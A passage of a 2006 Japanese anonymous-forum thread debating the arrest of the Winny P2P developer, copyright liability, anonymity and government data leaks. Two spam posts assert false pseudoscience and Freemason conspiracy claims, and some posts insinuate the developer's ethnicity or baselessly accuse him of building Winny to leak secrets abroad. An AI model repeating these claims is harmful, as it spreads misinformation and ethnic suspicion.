転用されたのが運のツキですた。

570 :名無しさん@6周年:2006/06/17(土) 23:08:47 ID:2qmyS/+i0
ダウンロードが問題になるんなら大量の警察官が先に問題になってると思われ

571 :名無しさん@6周年:2006/06/17(土) 23:11:35 ID:VK8Ry9Vc0
>>567
少なくとも今まで著作物の入手及びそのキャッシュの保持が確認された使用者である
警察官や公務員その他民間人に対して有線電気通信法を根拠に立件された
ケースはないね。

少なくともキャッシュを経由して入手した著作物の保持及び個人的な視聴・閲覧に関して、
警察としては完全に私的バックアップの範囲で許容されるという判断。
これはもうニュー速+住人なら繰り返して見てきている事実でしょ。
著作権保護団体からはまた別の見解や主張が出てくるだろうけど。

572 :名無しさん@6周年:2006/06/17(土) 23:16:56 ID:RgVc403C0
>>569
コンセプト自体も、決して目新しいモノじゃねーよ。
だから、なおさら逮捕はお門違いな訳だな。

要は、今のインターネットの大部分を占める「スター型」のネットワーク
じゃなくて、「網型」のモデルを打ち出しただけ。
「網型」モデルって1970年代には提唱されてた希ガス。

インフラが追いついただけ。つまり、時流ってこと。


573 :名無しさん@6周年:2006/06/17(土) 23:26:32 ID:5hen+L/Z0
2ch風の文字情報共有システムを完成させてくれよ
2chがつぶされたら乗り換えられるように

574 :名無しさん@6周年:2006/06/17(土) 23:32:22 ID:hS3BMw350
>>571
可能性の話だよ。
これは盗聴に当たらないのか?

575 :名無しさん@6周年:2006/06/17(土) 23:34:11 ID:Jd7mftOS0
公務員は無能

自分ら使いまくって個人情報垂れ流してるくせにw



576 :名無しさん@6周年:2006/06/18(日) 01:46:05 ID:o9Rbcjd70
リンク間違えた、訂正

動画、統一協会関連のイベントに群がる議員たち
国会議員の名前が続々登場編
ttp://www.youtube.com/watch?v=0f7StnoPKgw

577 :名無しさん@6周年:2006/06/18(日) 03:40:55 ID:pKI/5jRo0
>>574
判例が出てない(起訴もされていない)から
法解釈で意見が分かれるだけで答えなんて出せない。

578 :名無しさん@6周年:2006/06/18(日) 09:13:59 ID:ZNk+6vgH0
>>546
Winny内部を理解するのには助けになります
一部ファイル構造も公開されているしね

579 :名無しさん@6周年:2006/06/18(日) 17:07:39 ID:9mBSrCdp0
ネットランナーの出版社はnyのおかげで儲かったんじゃないかな
ある面、経済活性化w
あれはどこの会社だっけ?

580 :名無しさん@6周年:2006/06/18(日) 17:10:30 ID:T3LWa8820
機密文書が漏れやすい事実が明るみに出ただけもう獣じゃない

581 :名無しさん@6周年:2006/06/18(日) 17:13:05 ID:ZbiuB1Am0
彼女は人間だ!

582 :名無しさん@6周年:2006/06/18(日) 17:35:31 ID:CE1Bumoc0
ソースは最新のVerにnypあてて使う方法では解読されてない
Ver7.1bのクラックパッチ当て使用でもDL,UPしてるってことしかわからない
ネットエージェントの言った事を信じる奴ってアホ

583 :名無しさん@6周年:2006/06/18(日) 17:40:40 ID:T+Ce/RZE0
最初の頃は何を転送してるかファイル名表示してくれてたから
違法っぽい物は片っ端から手動で切断してたなあw

584 :名無しさん@6周年:2006/06/18(日) 20:09:32 ID:8O1nEqEW0
>>579
成功者の鑑、金持ちのステイタス、選ばれしものの証たる
プロ野球チームのオーナーが社長の出版社

585 :名無しさん@6周年:2006/06/18(日) 20:50:41 ID:Gr/Arr4R0
まあ、なんらかの開発者が、犯罪幇助をでっち上げられて開発に対して
萎縮するって観点からみると。

確かに、国益なんて、言葉はまちがっとるわな。
国益なんて大層な言葉使って大きな勘違いしてる。

言うなら世界中の開発者の自由がかかってるんだから。
かかってるのは、全人類益だろうが。

というか、正直言うとこの種の裁判は日本で起こってもつまらん。
アメリカで起これば面白かったのになあ。

アメリカだったら、この種の裁判はものすごく動向が注目されて、
賛否両論、喧喧諤諤の議論が沸き起こって大騒ぎのはず。

日本じゃ、良くも悪くも、誰も全然とりあげないんから、ダメポ。
これじゃあ、フリー文化なんて根付くのは、日本じゃ当分さきだわな。

586 :名無しさん@6周年:2006/06/18(日) 21:18:56 ID:Rncfg3B00
>>585
>アメリカで起これば面白かったのになあ。

ありえない。アメリカは本気でやる時は拉致る。

587 :名無しさん@6周年:2006/06/18(日) 21:22:51 ID:Nkqn2H4U0
いや、明らかに国益に反してるだろう
コンテンツビジネスを衰退させているのだから。

588 :名無しさん@6周年:2006/06/18(日) 21:40:29 ID:awZl15kY0
>>587
日本の音楽を衰退させてるどころか壊滅させたのは著作権法とJASRAC。

まだ惰性で音楽ビジネスだけは残ってるかもしれんが、肝心のコンテンツが壊滅状態では先は見えてる。

そこへ現れた救世主がインターネットとP2P。

589 :名無しさん@6周年:2006/06/18(日) 21:41:21 ID:T3LWa8820
それならば既にMIDIで実績のあるJASRACを先に問題とすべきだ
コンテンツビジネスがnyで衰退している傾向は無い

と根拠無しで言ってみる
まあ例えばアニメではシーズン毎の本数が増えてる気がするので衰退はしていないだろう

590 :名無しさん@6周年:2006/06/18(日) 21:43:19 ID:WKukaDF90
北朝鮮の珍しい写真がnyで手に入ったのを国益と考えずになんと考えるんだよ

591 :名無しさん@6周年:2006/06/18(日) 21:50:43 ID:im9JGCoU0
>国益と考えると、この裁判は負けるわけにいかない


国家機密や企業機密を次々流出させておいてよく言うな

元々、使用者を増やして、その上でウイルスを開発し、
機密情報を某国へ流すことが目的で造ったんだろうに。


592 :名無しさん@6周年:2006/06/18(日) 21:58:54 ID:Nkqn2H4U0
>>588
音楽以外は?

593 :名無しさん@6周年:2006/06/18(日) 22:01:22 ID:p9Yc5UZx0
>>591
それは、ウイルスを造ってる中の人

大体さっさと改良すれば、あんなに流れなかった。
京都の馬鹿が一番悪い

594 :名無しさん@6周年:2006/06/18(日) 22:32:50 ID:2+t10zrt0
winny使って機密情報垂れ流してるアホが逮捕されない時点で
公然と黙認されてるってことだから合法といって間違いないよw

595 :名無しさん@6周年:2006/06/18(日) 22:33:48 ID:T3LWa8820
>>591
利用者のモラル向上がなければセキュリティは成り立たない
情報をコンピュータに侵入して得るよりも、
周りで働いてる人からソーシャルハックで得るほうが楽だって話があるじゃない
そういう人間面の脆弱性が、日本ではどれだけ酷いかを示せたのは大きな功績だ
学会発表とかできそうな発見じゃないか

でも深く意識してくれる人なんて結局あまり増えてないけどな('A`)

596 :名無しさん@6周年:2006/06/18(日) 22:47:22 ID:Zk8MzOtJ0
うん、ネットランナーのせいだね!

597 :名無しさん@6周年:2006/06/18(日) 22:55:39 ID:yZklV5KI0
しかし、Winnyのようなレベルの低いソフトで国益云々言われてもなぁ。
GnutellaやSkype、BitTorrentなどの優れたP2Pソフトがたくさんある米国に
笑われるぞこれ・・・・・・恥ずかしい。ゲーム以外のソフトウェア面では
圧倒的に米国に遅れてると言わざるを得ないねぇ>日本 あー恥ずかしい

598 :名無しさん@6周年:2006/06/18(日) 22:56:56 ID:d+R4jKOL0
外国コンプレックスいくない。

599 :名無しさん@6周年:2006/06/18(日) 22:58:17 ID:m5oXjX630
この金子って人、今はすっとぼけているけど、このソフト公開した直後ぐらいに、著作権のあり方を変えたいとかなんとか発言してなかったっけ?
だとしたら、著作権法違反の幇助ってのは、避けられないんじゃない?

600 :名無しさん@6周年:2006/06/18(日) 22:58:40 ID:QQXJKORx0
自分の犯罪と国益を
関連付けるやりかたは
もうばれてます

601 :名無しさん@6周年:2006/06/18(日) 23:02:09 ID:Nkqn2H4U0
話そらす奴ばかりだな

602 :名無しさん@6周年:2006/06/18(日) 23:06:01 ID:dSlSOmLp0
米軍のイラク兵虐待の写真が明らかになった後すぐに、
金子が逮捕されたから、彼の逮捕は米国の国益に関係あるかもね。
力関係は、米国>>>>>日本だから、金子は敗訴確定だ。

603 :名無しさん@6周年:2006/06/18(日) 23:23:09 ID:pKI/5jRo0
>>591
お前の話のレベルにのって話してやれば
国家機関や多くの企業、そして新聞やニュースを見ている多くの視聴者に
情報管理の重要性やセキュリティ意識の向上を考える契機を与えた。

これは今後長期的に見て日本にはプラスの効果だ。

604 :名無しさん@6周年:2006/06/18(日) 23:32:04 ID:yZklV5KI0
2ちゃんねらがWinnyにここまでこだわる理由が分からんな。
自作のポエムなどを流すだけなら、より優れたBitTorrentなどに
移行するほうがむしろいいんじゃね? なぜ引っ張りまくるのか
理由を教えてくれんかね。

605 :名無しさん@6周年:2006/06/18(日) 23:39:01 ID:d+R4jKOL0
>>604
単純に、ダウン速度がはやいからじゃね?

606 :名無しさん@6周年:2006/06/18(日) 23:41:36 ID:2kJ1jETL0
警官全員にPC渡すなんてひどい税金の無駄遣いが行われても、
日本の国防の根幹に関わる情報が漏れても、
「裁判で不利になるから」という理由でパッチを公開しない、
winny開発者の「金子」さんって、どんな方なのでしょうか?
もしかして日本社会が混乱すると得する集団に関係があるのでしょうか?
もしかして、名字に何か関係があるのでしょうか?

日本への「愛国心」を持った人ならば、
自分が関わったソフトで
日本の防衛問題に直結する機密情報が漏れたとしたら、
例えそれがどんなに愚かで馬鹿なユーザーの責任だとしても
「日本の為に」、拘束された自分の立場は別にして、
何かをしてくれると思っていました

607 :名無しさん@6周年:2006/06/18(日) 23:48:22 ID:yZklV5KI0
>>605
いやいや、ダウンロード速度だけを言えば、原理的にBitTorrentの方が
速度が出るよ

608 :名無しさん@6周年:2006/06/18(日) 23:53:09 ID:T+Ce/RZE0
>>606
裁判で不利になるからじゃなくて
京都府警に禁止されてるんじゃないの

609 :名無しさん@6周年:2006/06/19(月) 00:00:13 ID:dglMD/vX0
>>597
>ゲーム以外のソフトウェア面では
>圧倒的に米国に遅れてると
日本のゲームなんてクロアチアにさえ遅れをとってますが何か?www
ゲームに比べたらP2Pはまだ進んでるほう。
日本のゲームなんてそろそろ北朝鮮レベルにまで落ちるだろう。

610 :名無しさん@6周年:2006/06/19(月) 00:02:59 ID:YFtEQDbc0
A列車の7なんか、酷すぎて目も当てられなかった・・・

かつては、日本発の偉大なゲームだったのに。

611 :名無しさん@6周年:2006/06/19(月) 00:05:11 ID:dglMD/vX0
しかし、BTユーザはなんでこうもレベルが低いんだろうな。
彼らのBTに対する信仰は宗教的盲信に近い物がある。
方向性の全く違う物を持ち出してどっちがレベルが高いとか、
笑うしかない。
しかし、外国コンプレックスの塊なんだろうな、こういうBT信者は。
「白人様の肛門様をこの汚い黄色ザルめが喜んで舐めさせて頂きます」とか言いながらオナニーしてそう。

612 :名無しさん@6周年:2006/06/19(月) 00:05:44 ID:1WxhHMc00
http://news19.2ch.net/test/read.cgi/newsplus/1150610304/

613 :名無しさん@6周年:2006/06/19(月) 00:05:48 ID:YqJe9ZVq0
金子さんは開発時にやたら匿名性にこだわったのに、
違法使用されることを想定していなかったってのは
さすがに無理があるんでないか。

614 :名無しさん@6周年:2006/06/19(月) 00:10:04 ID:dglMD/vX0
>>613
【個人撮影】妹の生下着姿盗撮詰め合わせ.zip
なんてファイル放流してる人はとっては匿名性は大切だと思う。
あと、大学ではバリバリの体育会系野郎が。
【合法】(ポエム)ボクの秘密の花園.txt
なんての放流してたらやっぱり匿名性を重視すると思う。

615 :名無しさん@6周年:2006/06/19(月) 00:10:21 ID:KI2tRRMD0
>>613
利用者のプライバシーを守る為の実験

616 :名無しさん@6周年:2006/06/19(月) 00:25:45 ID:4K8hY/w20
>>613
他の自作ソフトは自分のサイトで公開してたしな。
nyだけ匿名で配布したつーことは違法性の認識があったと考えるのが妥当。
認識の部分で争うのは不利だよなぁ、、、

617 :名無しさん@6周年:2006/06/19(月) 00:29:03 ID:s/4+eP450
>>609
>>610
北朝鮮はともかく、ネットゲームでは韓国に完全に後れを取ってしまったしなぁ。
マジやばって感じだな。

>>614
BitTorrentやGnutellaでも匿名性は十二分に守られるが? なにが不満なのかね?
違法性のあるファイルではなく、ちょっと恥ずかしい程度のポエム流すのに問題になる
ことはない。

>>615
匿名性の実験もクソも、Winnyの匿名性を高める発想はFreeNetの完全パクリで、
海外でさんざん実験されてるぞ。

618 :名無しさん@6周年:2006/06/19(月) 00:41:00 ID:seaKNTt20
欧米のソフトに2バイト文字載せるとUZEEEEEって言われそうじゃない
だから国産ソフトを作ったんだよ^^

619 :名無しさん@6周年:2006/06/19(月) 00:43:19 ID:fY+xVoHc0
この件で2chで「議論」なんぞしても意味がないってことがわからない
奴が、まだこんなにいるのか。

普通に包丁を作って見知らぬ人間に渡しても犯罪にはならないが、これから
人殺しに行くと騒いでいる群集に向かって、特定の誰との認識はなくとも
包丁を大量に投げ込んだとして、包丁を受け取った奴が人を殺してくれば、
そりゃ包丁を投げ込んだことも犯罪になるだろう。

今回のケースの場合、法律の抽象的な解釈論は争点とはならない。
認識と意図という主観的な事実を証拠で立証できているのか
という立証の問題こそが争点だ。

立証の問題であれば、証拠を見てみないと始まらないのは当然のこと
なんだから、証拠を見ていない外野が何を書こうと意味はない。
それくらいわかれよ。

620 :名無しさん@6周年:2006/06/19(月) 10:01:43 ID:BiFbUpGe0
>>618
つUTF-8

621 :名無しさん@6周年:2006/06/19(月) 10:51:57 ID:jVEzAOQA0
>>619
お前は馬鹿か?
この裁判の意味を議論してるんだろうが。矮小化するなよ。

包丁の例はもう飽きたが、それに添って言えば
じゃあ食品加工技術は免許制にして、新技術は認可を受けなくては
試行できないようにしますか? ってことだ。

食品加工にかかわらず、あらゆる新技術は認可を受けなくては
試行錯誤できない、なんていう全体主義的発想で日本はいいんですか?
ってこと。

622 :名無しさん@6周年:2006/06/19(月) 12:57:49 ID:Dps8WTPc0
この事例は、たとえる必要なんかないんだよな。

何かを創作しました。→それだけが理由で逮捕 

もうこれだけで、いかに、文化全部、特にコンピューター関係を滅ぼす、
こじつけ魔女狩り逮捕かがまるわかりだもん。
たとえなんか出さなくても、この事例自体が、たとえそのもののように
わかりやすいからねえ。

・対戦ゲーム作った→逮捕
(対戦ゲームの結果で、友人同士が喧嘩になって、殺しあったかもしれない。殺人幇助で逮捕)

・泣ける文学小説書いた→逮捕
(本を読んで哀しくなった人が自殺したとだろう。だから自殺幇助で逮捕)

・絵を書いた。ポエムを書いた
(絵を見て、ポエムを何かを感じた人が、影響を受けて、自殺したかも(r)

こりゃあ、自作ポエムも、匿名で出す必用がある訳だよw

623 :名無しさん@6周年:2006/06/19(月) 13:00:58 ID:tHCrLAbA0

コピー機を作ってるメーカーは、「著作権法違反のほう助」に問われないの?



624 :名無しさん@6周年:2006/06/19(月) 19:36:09 ID:5GcREKNz0
で、暗号解読して人を特定するのは法律ではOKなの?

625 :名無しさん@6周年:2006/06/19(月) 20:45:58 ID:NHdmUzlT0
腐系が間抜けなことに

開発者を逮捕したから

こんな被害が起こってるって

自覚はあるのかね

ここ見てる京都腐系の税金泥棒 (^ω^)9m

626 :名無しさん@6周年:2006/06/19(月) 20:48:16 ID:NHdmUzlT0
>>604
BTのどこが優れてるのか教えてくれよ


627 :名無しさん@6周年:2006/06/19(月) 20:53:24 ID:juwP0MaB0
負けるもなにもただの警察言いがかりw

そりゃそかw
身内がいろんな情報ばらまいてるんだからなw
犯罪おかしてもわが子は可愛いだろ、警察

628 :名無しさん@6周年:2006/06/19(月) 20:55:17 ID:XGzks3JI0
>>622
すげー馬鹿発見w


629 :名無しさん@6周年:2006/06/19(月) 21:01:09 ID:ue7F376R0
他のP2Pソフトの開発者は逮捕しないの?

630 :名無しさん@6周年:2006/06/19(月) 21:21:09 ID:vhydFyfe0
日本在住じゃないので_
カスラックあたりがBT作者を日本で告訴すれば面白いんだが

631 :名無しさん@6周年:2006/06/19(月) 21:36:45 ID:NHdmUzlT0
winnyがダメでもshareがある

共有はp2pソフト間でも行われて
何かのソフトから流れても結局winnyやshareに流れてくる

632 :名無しさん@6周年:2006/06/19(月) 21:42:27 ID:4fMGS3L20
知らない人が多いみたいだけど、Winnyの前に
WinMXていうのがあって、それ使って逮捕される人が出たんだよ。
だから逮捕されないWinMXとしてWinnyが作られた。

633 :名無しさん@6周年:2006/06/19(月) 21:45:15 ID:NHdmUzlT0
マジで!?

634 :名無しさん@6周年:2006/06/19(月) 21:55:23 ID:KQu8A6pe0
>>632
ナップスターから使ってますが何か?
ナップちゃんとか懐かしいな

635 :名無しさん@6周年:2006/06/19(月) 22:10:24 ID:4LWpaIXE0
MXを知らない人間がwinnyについて語る時代がきたのか・・・。

そういえば、俺の知人にはいまだにmx使ってるやつがいる。
もちろんクソ共有だし、子鯖につなげたりもしてない。

で、なんでny使わんのだ?と聞いたら、流出が怖いからと。
流出して困るようなもんお前もってないだろうがw。
だいいち逮捕は怖くないんかい(まあいまさらmxのクソ共有を
捕まえたりもしないだろうが)。

636 :名無しさん@6周年:2006/06/19(月) 22:11:04 ID:08ysOB0c0
ポイントは、逮捕者が出たからといってMXネットワークが壊滅したわけではない
というところだな。
継続は力なりという言葉を思い出す。

637 :名無しさん@6周年:2006/06/19(月) 22:16:33 ID:KI2tRRMD0
>>635
ついこの間提訴されたばっかりじゃないか

638 :名無しさん@6周年:2006/06/19(月) 22:20:51 ID:4LWpaIXE0
>>637
そうなの? 俺が知らないだけでMXでは順調に逮捕者でてるのか?

これはあいつに教えて・・・めんどうだからいいや。

639 :名無しさん@6周年:2006/06/19(月) 22:31:25 ID:TksW7lL20
>>631
Shareが最近はウィルスと規制の標的にされるようになってるよ

640 :名無しさん@6周年:2006/06/19(月) 22:35:43 ID:KI2tRRMD0
>>638

ttp://headlines.yahoo.co.jp/hl?a=20060516-00000250-kyodo-soci

641 :名無しさん@6周年:2006/06/19(月) 23:00:27 ID:Dps8WTPc0
>>635
ny使ったこともMX使ったこともないけど、流出怖いその知人の気持ちわかるぞ。
例え違法性がまったくなくても、自分のPCが覗かれてるだけってだけで嫌なもんだ。
何時にPCにログインしてるかだけだって、十分な個人情報だしね。

ところで、nyもMXも使ってない奴が、どうしてこのスレ覗いてるんだだって?

この裁判は面白いんだよ、府警と検察がどうこじつけて魔女狩り裁判をけりをつけ
る気かがね。
どうみても、不当逮捕だし、どうメンツ守りつつ撤退するかが、興味深い訳さ。

642 :名無しさん@6周年:2006/06/19(月) 23:09:17 ID:u8jMDSf50
京都人民共和国国家保衛部による日本人拉致を何で日本政府は放置するんだ?

643 :名無しさん@6周年:2006/06/19(月) 23:17:28 ID:ugzw40uU0
Winnyのお陰でソフト技術では情報管理を仕切れず
ソフト以前のヒューマンレベルでの情報管理の重要さ(の認識)が
ここまでレベルアップ(浸透)してきた事を考えると皮肉なものだな。



644 :名無しさん@6周年:2006/06/19(月) 23:24:35 ID:PnasjrZv0
>>643
まあ、そういわれれば、日本全体としての落ち度はかなりあったな。
公務員がまた一番酷いタイプの被害(自業自得)だけど。

彼自身は日本に繋ぎ止めておくべきだろ?逮捕以外の方法で。


645 :名無しさん@6周年:2006/06/19(月) 23:32:38 ID:4fMGS3L20
そんなたいしたもんかね?
タダでゲームやらアプリやらコミックやらMp3やらを
恵んでくれたことで過大評価してる人間が多いだけでは?

646 :名無しさん@6周年:2006/06/19(月) 23:33:06 ID:Dps8WTPc0
もしかして、府警は、偉大な頭脳が流出するのを恐れているのか。
その頭脳を国内につなぎとめる為に、あえて悪人になって逮捕に踏み切ったと・・・。
なんと、そんな深い意図が府警に・・・あったとは。

って、そんな訳、ある訳がないw。
さすがに、そこまでの頭脳ではないだろ。

ところで、府警もは
「せめて・・せめて、自分の所からny流出者をださなければ・・・。
それなら、他の県警が流出事件起こそうが、この裁判は府警のメンツが立ったのに・・・。」
ってマジで思ってるだろうな。


647 :名無しさん@6周年:2006/06/19(月) 23:33:35 ID:u8jMDSf50
京都人民共和国に対し、即時経済制裁を!

歴史・京都府警の不祥事
http://bbs1.on.kidd.jp/?0100/kyotopolic

648 :名無しさん@6周年:2006/06/19(月) 23:34:33 ID:IuJgqrZ40
P2Pを止めるにはインターネットを止めるしかない

649 :名無しさん@6周年:2006/06/20(火) 00:29:38 ID:HZ47WQ8U0
>>648
全ての国民に一人ひとり監視員をつけるべき。

650 :名無しさん@6周年:2006/06/20(火) 00:35:07 ID:BzMB5Sit0
>>642
warota


651 :名無しさん@6周年:2006/06/20(火) 01:26:39 ID:XvrLmPcb0
>>621
>じゃあ食品加工技術は免許制にして、新技術は認可を受けなくては
>試行できないようにしますか?
匿名性+ピュアP2Pは食品加工技術なのか、
銃刀法や麻薬五法で取り締まられるような野放しだと
公共の福祉に反する用い方をされる技術なのかは議論の余地があるだろうな。
そもそも食品技術も縛りをかける法令は食品衛生法や薬事法以下、山のようにある。
オープンな場所で新技術実験をできるのはソフトウェアぐらいだよ。
いい加減製造物責任法をソフトウェアにも適用する時期に来ているのかもしれん。

652 :名無しさん@6周年:2006/06/20(火) 01:40:16 ID:0BRhm/eZ0
 こんな裁判してる内に日本はどんどん 技術的に取り残されていくんだろうな


653 :名無しさん@6周年:2006/06/20(火) 02:09:20 ID:PmYOpv/W0
利害関係者側の国内的な法解釈の議論と
金子氏(及び擁護派)の言ってる事は完全に食い違ってるな
もまいらどっちに行きたいの?って感じ...

ただなんでwinnyなのかねえ
今人気のyoutubeだけでなく、webで違法共有してる連中って山ほど居るし手段も多種多彩
わざわざ「一番目立つものを潰す」建前は‘著作権の保護’らしいが…
警察がそれだけで動いたとは思えません

654 :名無しさん@6周年:2006/06/20(火) 03:05:34 ID:XvrLmPcb0
>>653
webってたかが知れてる。ダウソ板のスレの割合みればわかるだろ。クローズドで細々やってるだけ。
UPロダは半角にちょこちょこエロ共有があるけど、1000人もいないよ。
正犯の検挙はりょう巡査以前だったから、面子を潰されて初めて捜査を始めたわけじゃない。
2002年10月のMX2.6崩壊以来nyへのパラダイムシフトは進んでいたし、
nyはMXの後という触れ込みのソフトだったから、その完成度の高さゆえにACCS等も盛んに警告を発していた。
当時捜査の意図が奈辺にあったか、他には判断材料もない。

655 :名無しさん@6周年:2006/06/20(火) 05:21:25 ID:BXMc2iQM0
>>654
何をまた。WEB割れが、ダウソなんかに出てくるわけないじゃんw
あそこが指標の全てとか思ってるのがオワッテル。

検挙は京都の某有名ゲームメーカーが関わってるとかBlogに書いてあったな。

656 :名無しさん@6周年:2006/06/20(火) 05:34:54 ID:3o8On5+A0
>>655
おまえがBlogを指標にしていることはわかった

657 :名無しさん@6周年:2006/06/20(火) 07:12:33 ID:twnGUIdT0
>>651
>製造物責任法をソフトウェアにも適用する時期に来ているのかもしれん。

大意としてはわかる。
ただしそれをソフトウェア技術共有、試行のような部分にまで
持ち込むのか?それは国家の方針決定だろう。
利権に組する理由によって決められるべきものではないと思う。

658 :名無しさん@6周年:2006/06/20(火) 10:04:55 ID:ljetp9ji0
>>651
まあ、俺はそれが日本の技術の発展に良いとは思えんが

>製造物責任法をソフトウェアにも適用する時期に来ているのかもしれん。

ってのは一つの意見では、あるな。

で、仮にもし、日本でそういう法令が(世界で例があるのか?教えて偉い人)
施行されてるのなら、その法に照らして逮捕も理論的になりたつ。
でも、ソフトの製品に対してすら、日本じゃ現在そんな法令は無いわけ。

製品にすら成り立たない理屈で、非製品の開発者を逮捕してるのだから、
不当逮捕って事はまちがいないわな。

659 :名無しさん@6周年:2006/06/20(火) 10:08:51 ID:ljetp9ji0
>>658
カキコして気が付いたが・・・。

製造物責任法はソフトウェアにもかかるんじゃないのか?


660 :〈(`・ω・`)〉Ψ ◆EQUAL/Pi.Q :2006/06/20(火) 10:22:33 ID:fIj9hH8x0
著作権料云々の話はあるとしてもだ
くだらないと思えるようなことに血道をあげるパワーは何とか生かしたいものだな
はじめからあれはだめ,これはだめと縛りのきつい国やメーカー主導の
開発ではモノもなかなか進むまい。
有象無象に群がる実験体と一緒になって物を作るというのは
日本の技術開発の新しい形になりえると思うぞ。
モレなんかには理解できようもないほどの速さで進化する
日進月歩のテクノロジー。従来どおり予算かけて取り掛かっているうちに
もはや時代おくれのものになりかねん。
至近の銭金にとらわれることなく,きちんと大局と未来を見据えて
判断すべき。功に飛びついた京都府警の対応はのちのち
IT技術関係者からぼろくそに叩かれることになると思う。

661 :名無しさん@6周年:2006/06/20(火) 11:25:08 ID:NVECNxtK0
 科学はフリーメーソンが神を否定するために考え出した妄説(大嘘) 
 最初に狂牛病になった牛は病原体プリオンとはまったく関係がない。狂牛病は、
牛をと殺して食い物にし、そのうえ、草食動物の牛に牛の死体を共食いさせた事が
原因で発生した病気です。なぜ、同種の共食いで狂牛病になるのか、科学で解明で
きますか。
 鶏は約3ヶ月、豚は半年、牛は1年。皆さんこれは何の年か分かりますか。人間
の食に給するためのこれらの生物の寿命です。これらの生物がと殺される時に、い
くら泣き叫んでも無駄です。人間の力には勝てません。すべての生物が人間の横暴
によって、地獄の苦しみにあえいでいるのです。神がこの世に存在するのなら、神
はけっしてこの状況を見過ごす筈がありません。抗がん剤が効かないがん、狂牛病、
薬の効かないエイズやインフルエンザの出現、地震などの天変地異が頻発するのは、
神の裁きが近い事の現れであり、神は警告から実行の段階に入ってきているのです。
 ボウフラは蚊の卵からかえるのではなくて、汚水からわくのです。梅雨時、玄米
に蛾の幼虫がわくのは胚芽が虫に変化したのであり、蛾の産卵口は籾殻を貫通する
事が不可能です。がん細胞は穢れた血液(成分が豚や牛などの死体)が細胞に変化
する時に、殺された動物たちの怨念がそこに宿り、仇を討つために人間を取り殺そ
うとしてがん細胞として働くのです。戦争はこれらの怨霊が戦争指導者に憑依して
行わせるもので、弱肉強食の悪法を行っている限り戦争は永久に無くならない。
 この世の森羅万象は神の意志(心)によって働いているのです。幽霊、超能力、
輪廻転生は真実であり、科学が嘘である事の証拠です。怪我した場合傷口が元通り
修復できるのは、神の修復命令に細胞が従うからであり、統制の取れた各細胞の連
携動作はどんな連絡方法によって可能となるのか。科学では説明出来ません。



662 :名無しさん@6周年:2006/06/20(火) 11:29:02 ID:HZ47WQ8U0
科学はフリーメーソンがまで読んだ。

663 :名無しさん@6周年:2006/06/20(火) 11:30:36 ID:NVECNxtK0
 ダ・ヴィンチ・コードは真実
 最後の晩餐の絵のイエスの向かって左のヨハネはどう見ても女性であり、
この女性はマグダラのマリアである。イエスの右横で、手を横に広げてすご
い形相をしている大ヤコブは、広げた手と体が十字架の形となっており、顔
はイエスにそっくりである。これはイエスとは双子のユダ・トマスである。
この弟がイエスの身代わりとなって磔刑に処せられた。これは「竹内文書」
にも弟イスキリが身代わりになったと書かれている。すると、死んだイエス
が復活したと言うのは嘘で、この嘘を口実にしてキリスト教を広めた教会は
ペテン師である。この真実を後世に伝えるためにダ・ヴィンチは絵の中に暗
号として残した(露見すると処刑される)。
キリスト教で言う聖杯とはキリストの血脈を意味しており、マグダラのマリ
アの腹の中に秘められた。悪魔(フリーメーソン)は必死になって、イエス
の血脈を受けている者を捜して殺害しようとしている事を表現しているもの
が、ペトロがマリアの肩を押さえて、ナイフを後ろに隠し持っている姿で表
現している。イエスの血脈は日本人の中に隠された。フリーメーソンが日本
人を目の仇にするのはそのためであり、太平洋戦争でアメリカが日本人を大
虐殺したのはその理由からであり、反日運動はその現われなのです。マグダ
ラのマリア(日本を意味する)を売春婦として侮辱しているのは、高貴な者
をあえて侮辱すると言うフリーメーソンの常套手段である。
 岩窟の聖母の絵の中央にいるのがマグダラのマリアであり、その横にいる
女性が天使でキリストに指をさしているのは、悪魔の役を演じてキリストに
神罰をくだすよう命令している事を表し、天使の横に座っている子供が右手
の2本の指を立てている姿は、キリストに神罰(洗礼)をくだしている事を
意味する。キリストは両手を合わせて許しを乞う姿に見える。日本人が本当
の救世主キリストの役割を務める事に決まっている。
 アルカディアの大暗号は、最後の審判をきり抜けるには三種の神器が必要
であり、鏡、勾玉、剣はそれぞれ穢れの無い体、清廉な魂、言霊を意味する。
 なぜ、このような事が分かるかと言うと、神がインスピレーションで教え
てくれるのです。



664 :名無しさん@6周年:2006/06/20(火) 12:37:20 ID:BaY0s1UJ0
P2Pが悪いとは言わんのですが匿名性があるのは悪用してくださいって言ってるようなもの。


665 :名無しさん@6周年:2006/06/20(火) 13:11:41 ID:Eb4rJ5Uk0
そりゃ完全匿名性は問題だが、「ユーザレベルでの完全匿名性」と
「インフラ提供者や司法が行使できる匿名性侵害の法的制限」の担保は必要ジャマイカ

666 :名無しさん@6周年:2006/06/20(火) 13:16:26 ID:HZ47WQ8U0
通信の秘密保持の重要性や匿名性は、過去の歴史上で行われてきた
様々な悪例から教訓を得て規定され、与えられた権利。
今のぬるぽJAPANの空気で育っていれば、そういった危機感に対して鈍感に
なっていくんだろうが歴史的な背景を考えれば、その重要性を軽視する方向に
向うといずれしっぺ返しを食らう。

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